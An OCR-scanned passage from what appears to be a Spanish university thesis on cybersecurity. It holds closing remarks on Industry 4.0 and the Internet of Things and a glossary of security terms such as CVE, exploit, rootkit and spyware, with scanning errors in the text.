objetivo, evitando en lo posible ataques a nuestra red.

Como sabemos, no podemos acceder a la seguridad de nuestras aplicaciones, de nuestros equipos
tal como ellos mismos nos lo reportan ya que entre otras, podriamos aumentarla. De hecho, en el
documental de seguridad encontramos referencias como que los escaners de vulnerabilidades,
también son vulnerables.

En los proximos afos, nos dirigimos a un mundo cada vez més dispuesto por incontables equipos
y sistemas electronicos a la vez que interconectados e integrados entre si. Realizando
innumerables asignaciones funcionales y de los que por un fallo de implementacion del mismo,
puede traer consecuencias complicadas. Asi pues, queda la referencia de este trabajo en el que
como objetivo principal nos aporta la posibilidad de poder contribuir a un aumento de la misma
de una manera préactica y con la que acompafie y sirva de complemento al resto del sistema.

Como vemos en la siguiente figura, nos dirigimos a un mundo: todo conectado con todo, 0 como
al parecer ser inicialmente se le ha llamado Internet de las Cosas. En la siguiente figura, podemos

ver una referencia a este ecosistema.

SIMULACION

@

SISTEMA
INTEGRACION

BIG DATA

REALIDAD
AUMENTADA

cLoup ..
COMPUTING ™

INDUSTRIA

" INTERNET DE
LAS COSAS

CIBERSEGURIDAD
Fig.214: Ecosistema Industria 4.0

En subconjuntos de este ecosistema bajo referencias como las inicialmente llamadas Smart
Industries, Smart Factory, Smart Cities, Smart Home, Smart Phones y un largo etcétera de otros
sistemas que vendran, sirva la referencia de este trabajo para con una de las mayores enfermedades
que estos sistemas puedan padecer, por lo menos por nuestra parte, que podamos prevenirlos y
protegerlos todo lo que podamos.
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Amenaza: Violacion de la seguridad en potencia, que existe en funcidn de unas circunstancias,
capacidad, accién o evento que pueda llegar a causar una infraccién de la seguridad y/o causar
algln dafio en el sistema.

Ataque: Agresion a la seguridad de un sistema fruto de un acto intencionado y deliberado que
viola la politica de seguridad de un sistema.

Autoridad de certificacion: Emisor de certificados electrdnicos que goza de reconocimiento
sobre su confianza.

CERT (computer emergency response team): Equipo de respuestas a emergencias informaticas.
Una de sus principales tareas consiste en la gestion de vulnerabilidades.

CSIRT (computer security incident response team): Equipo de respuesta a incidentes de
seguridad informatica. Una de sus principales tareas consiste en la gestion de vulnerabilidades.

CVE (common vulnerabilities and exposures): Estdndar publico para la identificacion de
vulnerabilidades. Asocia un identificador Gnico a cada vulnerabilidad diferente.

CVSS (common vulnerability scoring system): Marco comun para la evaluacién de la criticidad
de vulnerabilidades.

Contrasefia: Cadena de caracteres alfa8éricos de longitud arbitraria, usada como herramienta
bésica de autenticacion de identidad.

Criptografia asimétrica o de clave publica: Sistema de encriptacion que consiste en utilizar un
sistema de doble clave: clave publica y clave privada. La clave publica es conocida por todos y
se utiliza para convertir el texto en claro que queremos cifrar en un criptograma, que tan solo
podré volverse a convertir en texto en claro mediante la clave privada, conocida solamente por la
persona a la que va remitida la informacion cifrada mediante la clave publica.

Criptografia simétrica: Este tipo de criptografia utiliza una tUnica clave para cifrar y descifrar la
informacién. Dado que solo existe una clave para convertir el texto en claro en criptograma y
viceversa, esta tiene que ser conocida por las dos partes que quieren intercambiar la informacion.

Cookie: Es un fichero que se envia a un navegador por medio de un servidor web para registrar
las actividades de un usuario en un sitio web.

Exploit : Programa o script que permite explotar una o varias vulnerabilidades, es decir, programa
que permite realizar un ataque aprovechando la vulnerabilidad.

Html: Siglas de hypertext markup language. EI HTML es el lenguaje informatico utilizado para
crear documentos hipertexto. EIl HTML utiliza una lista finita de etiquetas que describe la
estructura general de varios tipos de documentos enlazados entre si en el World Wide Web.

Http: Son las siglas de hypertext transfer protocol, el método utilizado para transferir ficheros
hipertexto por Internet. En el World Wide Web, las paginas escritas en HTML utilizan el
hipertexto para enlazar con otros documentos.

Infraestructura de clave publica: En inglés public key infraestructure. Plataforma
informética/telematica que permite la emisién y gestion de claves criptograficas y sus
correspondientes certificados.

LDAP (lightweight DAP): Interfaz entre clientes de directorio y sistemas DAP, que luego
evoluciond hacia un servicio de directorio.

Malware: Cualquier programa, documento o mensaje, susceptible de causar perjuicios a los
usuarios de sistemas informaticos.

222

ECNICA VLC SUPERIOR



UNIVERSITAT _TELECOM ESC
POLITECNICA ECNICAVLC

DE VALENCIA TELECEN

Perfil: Informacién guardada sobre el usuario que, con la identificacién, configura el terminal de
trabajo, de manera que ajusta los permisos, los accesos, la configuracion del entorno grafico (el
entorno de trabajo, en general).

Politica de seguridad: Conjunto de reglas y précticas que definen y regulan los servicios de
seguridad de una organizacion o sistema con el propésito de proteger sus recursos criticos y
sensibles. En otras palabras, es la declaracion de lo que esta permitido y lo que no esta permitido
hacer.

Riesgo: Expectativa de pérdida expresada como la probabilidad de que una amenaza particular
explote una vulnerabilidad concreta con resultados especialmente perjudiciales.

Rol: Funcién que alguien o algo cumple.

Rootkit: Programa que permite el acceso privilegiado a un ordenador y consigue ocultar su
presencia al administrador. Suele hacer uso de varias vulnerabilidades para instalarse y conseguir
su proposito.

Sesidn: Periodo durante el cual un usuario esté autorizado para realizar acciones en una aplicacion
basada en el web.

Sniffer: Aplicacién de monitorizacion y de analisis para el trafico de una red para detectar
problemas. Lo hace buscando cadenas 14éricas o de caracteres en los paquetes. Puede usarse
ilegalmente para recibir datos privados en una red, ademas son dificiles de detectar.

Spyware: El spyware es un programa que recopila informacion de un ordenador y después
transmite esta informacion a una entidad externa sin el conocimiento o el consentimiento del
propietario del ordenador.

Token: Dispositivo cuyo objetivo es dar soporte al proceso de autenticacion del usuario. Puede
llevarse consigo.

URL.: Siglas de uniform resource locator. Es la direccion de un sitio o de una fuente, normalmente
un directorio o un fichero, en el World Wide Web y la convencién que utilizan los navegadores
para encontrar ficheros y otros servicios distantes.

Virus: Programa creado especialmente para invadir ordenadores y redes y crear el caos. El dafio
puede ser minimo, como que aparezca una imagen o un mensaje en la pantalla, o puede hacer
mucho dafio alterando o incluso destruyendo ficheros.

World Wide Web: Literalmente "tela de arafia mundial”, mas conocida como web. Se puede
considerar la web como una serie de ficheros de texto y multimedia y otros servicios conectados
entre si por medio de un sistema de documentos hipertexto.

Vulnerabilidad de dia-cero (zero-day vulnerability):Vulnerabilidad de cuya existencia, en el
momento de ser explotada, no se tiene conocimiento previo.

Vulnerabilidad de seguridad: Fallo o debilidad en el disefio, la implementacion, la operacion o
la gestion de un sistema, que puede ser explotado con el fin de violar la politica de seguridad del
sistema.
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